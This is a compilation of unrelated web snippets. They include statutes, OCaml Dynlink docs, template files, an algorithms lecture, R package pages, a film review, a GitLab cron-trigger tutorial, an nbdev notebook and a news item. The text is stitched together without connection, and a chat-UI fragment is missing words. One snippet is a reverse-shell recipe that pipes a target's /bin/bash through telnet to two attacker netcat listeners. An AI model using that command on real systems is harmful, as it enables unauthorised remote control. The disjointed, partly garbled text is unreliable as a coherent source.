[§97-5] Restricted activities. No lobbyist shall accept or agree to accept any payment in any way contingent upon the defeat, enactment, or outcome of any proposed legislative or administrative action. [L 1975, c 160, pt of §1]


{% extends 'index.html' %} {% block body %} {% from "includes/_formhelpers.html" import render_field %} {% from "includes/_history.html" import render_history %}


module Dynlink:sig
..end
Dynamic loading of .cmo, .cma and .cmxs files.
val is_native : bool
true
if the program is native,
false
if the program is bytecode.
val loadfile : string -> unit
In bytecode: load the given bytecode object file (.cmo
file) or
bytecode library file (.cma
file), and link it with the running
program. In native code: load the given OCaml plugin file (usually
.cmxs
), and link it with the running program.
All toplevel expressions in the loaded compilation units are evaluated. No facilities are provided to access value names defined by the unit. Therefore, the unit must itself register its entry points with the main program (or a previously-loaded library) e.g. by modifying tables of functions.
An exception will be raised if the given library defines toplevel
modules whose names clash with modules existing either in the main
program or a shared library previously loaded with loadfile
.
Modules from shared libraries previously loaded with
loadfile_private
are not included in this restriction.
The compilation units loaded by this function are added to the
"allowed units" list (see Dynlink.set_allowed_units
).
val loadfile_private : string -> unit
Same as loadfile
, except that the compilation units just loaded
are hidden (cannot be referenced) from other modules dynamically
loaded afterwards.
An exception will be raised if the given library defines toplevel
modules whose names clash with modules existing in either the main
program or a shared library previously loaded with loadfile
.
Modules from shared libraries previously loaded with
loadfile_private
are not included in this restriction.
An exception will also be raised if the given library defines
toplevel modules whose name matches that of an interface depended
on by a module existing in either the main program or a shared
library previously loaded with loadfile
. This applies even if
such dependency is only a "module alias" dependency (i.e. just on
the name rather than the contents of the interface).
The compilation units loaded by this function are not added to the
"allowed units" list (see Dynlink.set_allowed_units
) since they cannot
be referenced from other compilation units.
val adapt_filename : string -> string
In bytecode, the identity function. In native code, replace the last
extension with .cmxs
.
val set_allowed_units : string list -> unit
Set the list of compilation units that may be referenced from units that are dynamically loaded in the future to be exactly the given value.
Initially all compilation units composing the program currently running
are available for reference from dynamically-linked units.
set_allowed_units
can be used to restrict access to a subset of these
units, e.g. to the units that compose the API for
dynamically-linked code, and prevent access to all other units,
e.g. private, internal modules of the running program.
Note that Dynlink.loadfile
changes the allowed-units list.
val allow_only : string list -> unit
allow_only units
sets the list of allowed units to be the intersection
of the existing allowed units and the given list of units. As such it
can never increase the set of allowed units.
val prohibit : string list -> unit
prohibit units
prohibits dynamically-linked units from referencing
the units named in list units
by removing such units from the allowed
units list. This can be used to prevent access to selected units,
e.g. private, internal modules of the running program.
val main_program_units : unit -> string list
Return the list of compilation units that form the main program (i.e. are not dynamically linked).
val public_dynamically_loaded_units : unit -> string list
Return the list of compilation units that have been dynamically loaded via
loadfile
(and not via loadfile_private
). Note that compilation units
loaded dynamically cannot be unloaded.
val all_units : unit -> string list
Return the list of compilation units that form the main program together
with those that have been dynamically loaded via loadfile
(and not via
loadfile_private
).
val allow_unsafe_modules : bool -> unit
Govern whether unsafe object files are allowed to be dynamically linked. A compilation unit is 'unsafe' if it contains declarations of external functions, which can break type safety. By default, dynamic linking of unsafe object files is not allowed. In native code, this function does nothing; object files with external functions are always allowed to be dynamically linked.
type
linking_error = private
| |
Undefined_global of |
| |
of |
| |
Uninitialized_global of |
type
error = private
| |
Not_a_bytecode_file of |
| |
Inconsistent_import of |
| |
of |
| |
Unsafe_file |
| |
Linking_error of |
| |
Corrupted_interface of |
| |
Cannot_open_dynamic_library of |
| |
Library's_module_initializers_failed of |
| |
Inconsistent_implementation of |
| |
Module_already_loaded of |
| |
Private_library_cannot_implement_interface of |
exception Error of error
Errors in dynamic linking are reported by raising the Error
exception with a description of the error.
A common case is the dynamic library not being found on the system: this
is reported via Cannot_open_dynamic_library
(the enclosed exception may
be platform-specific).
val error_message : error -> string
Convert an error description to a printable message.


{% extends "base.html" %} {% load i18n %} {% load static %} {% block title %}{% trans "Sustainability" %}{% endblock %} {% block content %}
We appreciate your contribution greatly, thank you for showing your support! Your help will go a long ways towards making the service more sustainable.
You can help us get more contributions by spreading news of our campaign and sharing the following link:
Tweet {% endblock %}


Shade Controller was created by Joseph Adams.
For more information or to contact the author, please visit
www.techministry.blog.
This program uses DCTTECH USB Relays which can be purchased online. They come in a variety of models. A 2-relay model is needed to operate both the up and down functionality.
The program operates on TCP Port
4400.
To activate Relay 1 (Shades Up):
http://ipaddress:4400/shades_up
To activate Relay 2 (Shades Down):
http://ipaddress:4400/shades_down


echoframework
/
org.echo.mobile.framework.model.operations
/
OperationType
/
TRANSFER_TO_ADDRESS_OPERATION
TRANSFER_TO_ADDRESS_OPERATION
TRANSFER_TO_ADDRESS_OPERATION


Design and Analysis of Algorithm
Introduction
Algorithms
An algorithm is a finite set of computational instructions, each instruction can be executed in finite time, to perform computation or problem solving by giving some value, or set of values as input to produce some value, or set of values as output. Algorithms are not dependent on a particular machine, programming language or compilers i.e. algorithms run in same manner everywhere. So the algorithm is a mathematical object where the algorithms are assumed to be run under machine with unlimited capacity.
Examples of problems:
You are given two numbers, how do you find the Greatest Common Divisor. Given an array of numbers, how do you sort them?
We need algorithms to understand the basic concepts of the Computer Science, programming. Where the computations are done and to understand the input output relation of the problem we must be able to understand the steps involved in getting output(s) from the given input(s).
You need designing concepts of the algorithms because if you only study the algorithms then you are bound to those algorithms and selection among the available algorithms. However if you have knowledge about design then you can attempt to improve the performance using different design principles.
The analysis of the algorithms gives a good insight of the algorithms under study. Analysis of algorithms tries to answer few questions like; is the algorithm correct? i.e. the algorithm generates the required result or not?, does the algorithm terminate for all the inputs under problem domain? (More on this later). The other issues of analysis are efficiency, optimality, etc. So knowing the different aspects of different algorithms on the similar problem domain we can choose the better algorithm for our need. This can be done by knowing the resources needed for the algorithm for its execution.
Two most important resources are the time and the space. Both of the resources are measures in terms of complexity for time instead of absolute time we consider growth rate (time complexity), similarly for space instead of absolute value growth rate of memory needed is considered (space complexity).
Algorithms Properties
Input(s)/output(s): There must be some inputs from the standard set of inputs and an algorithm’s execution must produce outputs(s).
Definiteness: Each step must be clear and unambiguous.
Finiteness: must terminate after finite time or steps.
Correctness: Correct set of output values must be produced from the each set of inputs.
Effectiveness: Each step must be carried out in finite time.
Here we deal with correctness and finiteness.
Expressing Algorithms
There are many ways of expressing algorithms; the order of ease of expression is natural language, pseudo code and real programming language syntax. In this course I intermix the natural language and pseudo code convention.
Random Access Machine Model
This RAM model is the base model for our study of design and analysis of algorithms to have design and analysis in machine independent scenario. In this model each basic operations (+, -) takes 1 step, loops and subroutines are not basic operations. Each memory reference is 1 step. We measure run time of algorithm by counting the steps.


Creates a specialist data frame ready for use in
classify_occ
from a character vector containing the specialists names
create_spec_df(spec.char)
| spec.char | a character vector with specialist names |
|---|
a data frame. Columns split the names, surname and abbreviation for the names. If the full name contain any special character, such as accent marks, two lines for that name will be provided, with and without the special characters. See examples.
#> [1] "Caetano Veloso" "Antônio Carlos Tom Jobim" #> [3] "Gilberto Gil" "Vinícius de Morais"create_spec_df(spec_names_ex)#> LastName Name1 Name2 Name3 Abbrev1 Abbrev2 Abbrev3 #> 1 Gil Gilberto G #> 2 Jobim Antônio Carlos Tom A C T #> 3 Jobim Antonio Carlos Tom A C T #> 4 Morais Vinícius de V #> 5 Morais Vinicius de V #> 6 Veloso Caetano C


TARGET: telnet <IP_ADDRESS> <LPORT> | /bin/bash | telnet <IP_ADDRESS> <LPORT2>
ATTACKER1: nc -n -vv -l -p <LPORT>
ATTACKER2: nc -n -vv -l -p <LPORT2>
Will send commands from Attacker 1 and Attacker 2 will see results in console
For single person, open two separate terminal sessions with NC listening (one for each port)


John Doe
Hey, We have a planned at the end the day.
Leanne Jones
Can we schedule a this afternoon?
Stella
Great presentation the other . Keep up the good !
James Brown
Need the updates of project at the end the week.
Chats
David
Python Developer
Stella Johnson
SEO Expert
Marina Michel
Business Development
Business Analyst
Catherine
Tester
Tim
Admin
Lorem ipsum dolor sit , consectetur adipisicing elit. Est accusamus tempore perspiciatis sint doloremque hic reiciendis, vel .
3 Hr ago
Microsoft
8 Hr ago
Sophia
2 Days ago
7 Days ago
13/8/17
Daniel Russell
Sarah Graves
10/8/17
8/8/17
Bruno
3/8/17


The URLEncode task will encode a given property for use within a
a URL string. This value which is actually set will be encoded
via the java.net.URLEncoder.encode()
method.
Typically, you must do this for all parameter values within a URL.
| Attribute | Description | Required |
|---|---|---|
| property | The name of the property to set. | Yes. |
| override | If the property is already set, should we change it's value.
Can be true or false |
No. Defaults to false |
| name Deprecated | The name of the property to set. | No. Use the property attribute
instead |
| value | The value of the property. | No, if refid or location is specified |
| location | The location of a file whose absolute path will be the value of the property. | No, if value or refid is specified. |
| refid | The id of a saved reference whose value will be the value of the property. | No, defaults to ",". |
<urlencode name="file.location" location="C:\\wwwhome\\my reports\\report.xml" />
would set the "file.location" property to the value: C%3A%5Cwwwhome%5Cmy+reports%5Creport.xml
which could then be used in a URL.
Copyright © 2002-2003 Ant-Contrib Project. All rights Reserved.


One of the biggest problems the tech industry faces is the low bar it sets for itself with regards to the new technologies of the future. As Peter Thiel wrote in a manifesto a few years ago: "We wanted flying cars, instead we got 140 characters." This isn't a denouncement of social media or consumer web apps, but rather, an expression of disappointment in the slowed rate of technological growth over the last few decades. This is a subtle argument and people often react emotionally and illogically when it's presented, but I believe it has a lot of evidence in its favor.
It's almost inconceivable to think of the current US Government funding and successfully completing a project on the scale of an Apollo Mission, a Manhattan Project or the interstate highway system. Instead, it bickers about a few percentage points in the top marginal tax rate and whether to legalize marijuana. Similarly, US culture has shifted away from a determinate optimism about what the future is and how it will be built, along with a definite plan for building it, towards a vague notion that 'things will be better.' One marker for this is the decline in the popularity of science fiction novels.
Essentially, the tech industry over the last decades has shifted from solving transformational problems to solving incremental ones. The future people envisioned in the 1960s is the future we're still waiting for today, and I blame it largely on falling standards and lowered expectations. Certainly, there are companies like Google which are making important strides in creating new technological paradigms (such as driverless cars) but in my opinion, that's not enough.


The Hurricane ***
Rated on a 4-star scale Screening venue: Odeon (Liverpool City Centre) Released in the UK by Buena Vista International on April 7, 2000; certificate 15; 145 minutes; country of origin USA; aspect ratio 1.85:1
Directed by Norman Jewison; produced by Armyan Bernstein, Norman Jewison, John Ketcham. Written by Armyan Bernstein, Dan Gordon; based on the books "The 16th Round" by Rubin 'Hurricane' Carter and "Lazarus and the Hurricane" by Sam Chaiton, Terry Swinton. Photographed by Roger Deakins; edited by Stephen Rivkin.
CAST..... Denzel Washington..... Rubin 'Hurricane' Carter Vicellous Reon Shannon..... Lesra Martin Deborah Kara Unger..... Lisa Liev Schrieber..... Sam John Hannah..... Terry David Paymer..... Myron Beldock Dan Hedaya..... Vincent Della Pesca Harris Ylin..... Leon Friedman Debbi Morgan..... Mae Thelma Carter
We all have talents that mystify other people -- some folks can work complex equations in their heads, others can run for miles without getting short of breath, and we all know some show-off who can cartwheel like there's no tomorrow. I can't do any of that stuff, but I do know Bob Dylan's eight-minute ballad "Hurricane" off by heart. Impressive, eh?
The song is the first track on Dylan's 1975 album "Desire", and tells the story of Rubin 'Hurricane' Carter, a black middleweight boxer from New Jersey who angered intolerant locals with his cocky handling of success. In 1966, when the authorities saw a chance to frame him for murder, they jumped at it. "How can the life of such a man be in the palm of some fool's hand?" Dylan asked, and for quite some time Ellen Burstyn, Muhammad Ali and a whole host of other celebrities and activists were equally concerned.
Despite his status as a cause célèbre, though, it took twenty years for Carter and his co-defendant to be released from prison. When they were, according to Norman Jewison's film "The Hurricane", it was largely due to the efforts of a commune of Canadians and a young boy they were schooling. The kid, Lesra Martin (Viscellous Reon Shannon), had bought Carter's autobiography for twenty-five cents at a used book sale. This event changed the course of both his life and that of the fighter.
Carter (Denzel Washington), as Lesra discovers from his reading and we learn in the film, had an upbringing heavily influenced by racial persecution, and vowed to make weapons out of his body and mind. In prison, his shell grows harder, and he becomes a vessel of mistrust and hate. "There's no more Rubin Carter," he says in his book. To his wife: "I'm dead. Move on. Bury me."
Somehow Lesra is able to strike up a correspondence with him; he DOES feel alive when he's writing, because he doesn't have to look at the dehumanising prison walls. The communication develops into friendship and love, and results in the boy and his surrogate family dedicating their lives to Carter's appeal. One of the most involving things about "The Hurricane" is how it demonstrates the power of the written word -- showing that it can free souls, stimulate emotions and overcome violence and evil. Another is its portrayal of how Rubin, who had so thoroughly trained himself to use hatred as a means of survival, earned liberation by having the courage to feel love and trust.
This is fantastic material -- the kind of thing we're talking about when we refer to "triumphs of the human spirit". It's regrettable that Jewison has not presented it with more panache. Gone is the powerful staccato rhythm of Dylan, and instead we get such ludicrous dialogue as "You're going down, punk!" and "Jeez... you're having a smoke for breakfast?" There are tears, speeches behind bars and far too much sentimental scoring. Dan Hedaya gives a ludicrous performance as a corrupt cop who lurks in corners grimacing and growling.
The movie is made with such lack of edge that at times it runs the risk of alienating us, like a made-for-TV weepie. But the story somehow survives, and remains potent, and that is a testament to how great a tale it is. Just as 'Hurricane' himself championed over oppressive forces, so too does his legend transcend a sloppy telling, and remain one worth knowing.
COPYRIGHT(c) 2000 Ian Waldron-Mantgani Please visit, and encourage others to visit, the UK Critic's website, which is located at http://members.aol.com/ukcritic
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: post status: publish published: true title: Update to /dev/null R2 Adapter author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 332 wordpress_url: http://winterdom.com/2008/10/updatetodevnullr2adapter date: '2008-10-03 19:48:10 +0000' date_gmt: '2008-10-03 19:48:10 +0000' categories: - BizTalk tags: [] comments: - id: 1531 author: Marge author_email<EMAIL_ADDRESS>author_url: '' date: '2010-07-14 18:56:41 +0000' date_gmt: '2010-07-14 18:56:41 +0000' content: "Is this supported in BTS 2009 yet as I experiencing same behavior, even with the above fix, in BTS 2009?\r\nThank you" ---
Antti Somersalo brought to my attention that there was a bug in my R2 version of the /dev/null adapter. The bug manifested itself when you tried to export the bindings of any BizTalk Application that used the adapter in one of its send ports, failing with an ArgumentNullException
.
The problem was simple: The adapter management class was returning null
from the GetConfigSchema()
call. Fixing it was just as simple: Just change the implementation so that it returns an empty Xml schema:
public string GetConfigSchema(ConfigType configType) {
return @"" ;
}
I’ve updated the ZIP file with the code snapshot.


I am using GitLab CI now for more than a year and I really love the features in GitLab. GitLab provides a complete and powerful tool for day to day development. And of course, there are always feature that you miss. Until now there is no support for periodic builds, in the coming release the feature will be shipped as experimental feature and in the next one is should be general available. But in case you must deal for some reason with an older version, a work around is described below as I used last year.
You could argue why you should need a feature as a periodic build. Ideally a build should be immutable and only trigger by a change in GIT, a commit. But the world is not always perfect, project build are sometime not of the quality that you are expect or tools are not that reliable as you hope. For example, dependencies resolving could break over the time, to avoid you find the problem once your boss is watching you when fixing a critical bug, a periodic build can alert you earlier. Another and much better reason to argue for the feature is that the GitLab build are so powerful that is handy to use them for a scenario based health check.
To setup a periodic build you first need to be able to trigger a build in some way. GitLab provides an API to trigger a build. Setting up the trigger is simple and complete guided in GitLab, just execute the steps below:
Next we test that we are able to trigger the build remotely be executing the curl
command below.
curl -X POST \
-F token=<TOKEN> \
-F ref=<REF_NAME> \
<URL>
Verify in GitLab the build is triggered
The next step is to execute the trigger periodic. A standard way of running a job periodic is by defining crontab. We will use a docker container to execute the crontab so we can deploy it anywhere.
I have createe a base docker image containing a script to trigger GitLab by executing a curl command as shown above. The crontab will be copied to the image ONBUILD
. In the crontab we point to the script that can be executed as follow:
trigger-gitlab.sh -t <token> -r <ref> -u <gitlab_trigger_url>
For the sources see npalm/gitlab-periodic-trigger on GitHub.
Now all peace’s are ready we only have to build our docker image and run it to trigger the build. First, we create a Dockerfile and only extend the base image npalm/gitlab-periodic-trigger
. Create a new directory, and add a Dockerfile with only the line:
FROM npalm/gitlab-periodic-trigger:1.0.0
This image expects a file gitlabcrontab
containing the crontab and will copy it to the image once build. Create a file named gitlabcrontab
, and add one ore more triggers, an example is below.
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7)
# | | | | |
22 11 * * * trigger-gitlab.sh -t <token> -r <ref> -u <gitlab_trigger_url>
Now we build the container docker build -t periodic-trigger .
and finally start the container docker run -d periodic-trigger
To enable the feature for your teams you could set up a build to build the docker image as described below and push it automated to an environment.


--- title: Command line template keywords: fastai sidebar: home_sidebar summary: "A minimal template for a 'command line notebook' to manage an nbdev project in Google Colaboratory. " ---
#all_flag
# remove this cell to use with tests
from google.colab import drive
drive.mount('/content/drive')
%load_ext autoreload
%autoreload 2
!pip install nbdev
!pip install fastcore
!pip install nbd_colab
Library imports
import os
from nbdev import *
from nbdev.showdoc import *
from nbdev_colab import *
from pathlib import Path
from getpass import getpass
import urllib
clone_new_repo()
# after successful clone you should be in the cloned repo directory - check
!pwd
!ls
# verify the clone by printing out (and checking) settings.ini
! cat settings.ini
If the repo cloned successfully, but either git user configuration or installing git hooks failed then use the following code to perform these tasks manually.
!git config user.email "<github username>"
!git config user.name "<email>"
!nbdev_install_git_hooks
# check the CWD is the desired project directory
% cd /content/drive/My Drive/nbd_colab
!pwd
!ls
!nbdev_build_lib
!nbdev_build_docs
!nbdev_diff_nbs
If nbdev_diff_nbs gives an output, run either notebook2script() or script2notebook() to fix the conflict.
To keep the notebook code (most common)
# from nbdev.export import notebook2script
# notebook2script()
or, to keep the script code:
# from nbdev.sync import script2notebook
# script2notebook()
Run tests. Don't forget the optional --flags
attribute if you want to overide test_flags.
!nbdev_test_nbs
# check the CWD is the desired project directory
% cd /content/drive/My Drive/nbd_colab
!pwd
!ls
!git status
!git add -A
!git status
!git commit -am "commit msg"
!git push
Occasionally we'll want to pull as well
# !git pull
To upload your library to PyPi as a package, there must be a valid _pypirc file in the user's home directory on Google drive (see nbdev docs to set this up)
! pip install twine
# check the CWD is the desired project directory
% cd /content/drive/My Drive/nbd_colab
!pwd
!ls
! make release
If 'make release' fails with 'file already exists' error, it is likely because of incompatible version numbers between the project repo and PyPi. Solve by bumping the repo version to match PyPi's. This can be done with the nbdev_bump
or nbdev_bump_version(part="Part of version to bump")
or by simply editing settings.ini
to match the PyPi release number.
To bumps the repo version number by 0.0.1
# !nbdev_bump
or, to increment a part of the version number by 1
# !nbdev_bump_version(part="Part of version to bump")


[§521-4] Construction against implicit repeal. This chapter being a general law intended as a unified coverage of its subject matter, no part of it shall be deemed to be impliedly repealed by subsequent legislation if such construction can reasonably be avoided. [L 1972, c 132, pt of §1]


[gecode-users] making macros safe for semicolons
Denys Duchier
denys.duchier at univ-orleans.fr
Tue Dec 16 16:47:56 CET 2008
I had a couple of problems using some of Gecode macros because they
cannot all be safely followed by a semicolon. Here is a proposed patch
that uses de "do {...} while (0)" pattern to make these macros safe.
This is an old trick that is used a great deal in the Linux kernel.
The patch is against Gecode 2.2.0:
-------------- next part --------------
A non-text attachment was scrubbed...
Name: macros-01.patch
Type: text/x-patch
Size: 3761 bytes
Desc: use do {...} while (0) pattern for macros
URL: <http://www.ps.uni-sb.de/pipermail/users/attachments/20081216/469431db/attachment.bin>
-------------- next part --------------
Cheers,
--Denys
More information about the gecode-users
mailing list


Hello there!
I'm Holden Clark --
Student at Epicodus
Projects
About Me
Experience
Professional Experience and Education
Bachelor's Degree from University of Pittsburgh
Worked at Carnegie Robotics in Pittsburgh for 2 year
Enrolled in Epicodus coding camp
(Will fill this out later)
(Will fill this out later)
(Will fill this out later)
(Will fill this out later)
(Will fill this out later)
(Will fill this out later)


Priyanka Gandhi slams Centre on state of economy
by PTIHighlights
- 'The state of the economy in the country is bad. The service sector has fallen flat. Employment is decreasing,' Priyanka said
- Taking on PM Modi, she said while he held his 'Howdy Mody' event in the US, the Americans have reduced H-1B visas for Indians seeking to work there
NEW DELHI: Congress general secretary Priyanka Gandhi Vadra on Thursday attacked the BJP government over the state of the economy, saying those ruling the country are busy in themselves while people are suffering on every front.
"The state of the economy in the country is bad. The service sector has fallen flat. Employment is decreasing. Those ruling are busy in themselves and the people are suffering on every front," she said in a tweet in Hindi.
Taking on Prime Minister Narendra Modi, she said while he held his "Howdy Mody" event in the US, the Americans have reduced H-1B visas for Indians seeking to work there.
"The question that everyone should ask the BJP government is that who is being benefitted during their tenure. The Prime Minister went to the United States and held his 'Howdy Mody' event but America increased the number of rejections of H-1B visas for those Indians wanting to work there," she said in another tweet.


Steps: 1: Reduce time frame if needed. 2: Group dataset by feature. 3. Use either average or sum in groupping. Average counts the average number of actions taken by the student. Sum is the sum of all actions taken by a student
Students' actions in Unified User Interface
eCraft Plan (sketching)
eCraft Search (searching)
Snap4Arduino
eCraft TODO (todo-list)


MainApp¶
The main workhorse.
-
class
MyPiEye.cmdline.
MainApp
(config)[source]¶ -
__init__
(config)[source]¶ Parameters: config – a dict of consolidated options (defaults, ini, cmdline)
-
save_images
(cv_image, capture_dt, motions)[source]¶ Saves CV2 image to various locations, with annotations.
Parameters: - cv_image – CV2 image
- capture_dt –
datetime
, UTC expected - motions – list of box lists.
Returns:
-


GenAlEx is a popular Excel macro for genetic analysis and the 'poppr' R package allows import of GenAlEx formatted CSV data for genetic data analysis in R. This package allows for the import of GenAlEx formatted Excel files, serving as a small 'poppr' add on for those who have trouble or simply do not want to export their data into CSV format.
| Version: | 0.1.4 |
| Depends: | poppr (≥ 2.0.2) |
| Imports: | readxl, utils |
| Suggests: | testthat, knitr, rmarkdown, adegenet |
| Published: | 2018-05-17 |
| Author: | Zhian N. Kamvar [cre, aut], Niklaus J. Grünwald [ths] |
| Maintainer: | Zhian N. Kamvar <zkamvar at gmail.com> |
| BugReports: | https://github.com/zkamvar/popprxl/issues |
| License: | GPL-3 |
| URL: | https://github.com/zkamvar/popprxl |
| NeedsCompilation: | no |
| Materials: | README NEWS |
| CRAN checks: | popprxl results |
| Reference manual: | popprxl.pdf |
| Vignettes: |
How to use and cite popprxl |
| Package source: | popprxl_0.1.4.tar.gz |
| Windows binaries: | r-devel: popprxl_0.1.4.zip, r-release: popprxl_0.1.4.zip, r-oldrel: popprxl_0.1.4.zip |
| OS X binaries: | r-release: popprxl_0.1.4.tgz, r-oldrel: popprxl_0.1.4.tgz |
| Old sources: | popprxl archive |
Please use the canonical form https://CRAN.R-project.org/package=popprxl to link to this page.


--- layout: post esbma_id: 1586 title: Guilt on Good Friday date: 2006-04-14 19:06:42 keywords: laughs ---
I'm not Catholic. I grew up churched in a little Anabaptist twig off the Protestant branch of Christianity.
Not having grown up Catholic, I lack the necessary experience to really be able to feel guilty about everything. But a sense of brotherhood with my Catholic friends compels me to try to feel guilty about as many things as I can.
But for now I will mention just one thing: I feel guilty that we are not using TestComplete. Our team's doctrinal statement says we believe in automated testing. We are religious users of NUnit. We have around a dozen more automated testing apps which are a part of our process. But we currently have no way of automatically testing the user interface of our product.
I am extremely impressed with AutomatedQA and their product. We should be using it, but thus far, we are not. I am scum. I am a pitiful wretch. My actions are inexcusable.
However, I take comfort in the knowledge that some of you are even more depraved than I am.
Regardless of your religious background or beliefs, today is a great day to feel guilty about how horrible your team's development processes are. Repent and get your life in order.
:-)


Hello, as you can guess, my name is Michael Rawlings and I am a third year software engineering student at Rochester Institute of Technology intending to graduate in May 2016.
Ever since I first got on my dad's computer when I was about 6 years old, I insantly became addicted to it. No matter what, I always had that desire to learn more about it, I was able to teach myself HTML (back when netscape existed). I kept learning many new skills and technology and that desire has never faded, even to this day. Also, I have personal projects to show my passion for this field (more on that in projects page).
Fun (or useful?) Facts:
Current language I'm learning: HTML5/CSS3


Fall 2011 previous version home
Looking for work further east before thanksgiving. . . perhaps with Soltreks?
With niece Asa Saywell at Green Knees Farm, TN, March 2011.


“A noise like the continual explosion of petards, another like the falling of a large animal against his bedroom door, another noise like spirit raps, and shrieks were heard by Father H.; no one else then heard them. Father H. heard them for eight nights, and not on the ninth. As a priest, he was probably a good deal alone, and had to walk over to a cottage behind a belt of wood to the eastward, where the retreat of the nuns he attended to was held. According to the average experience of Miss Freer's party, he would only have been attacked on about two days.” — John Harris, Inferences From Haunted Houses And Haunted Men


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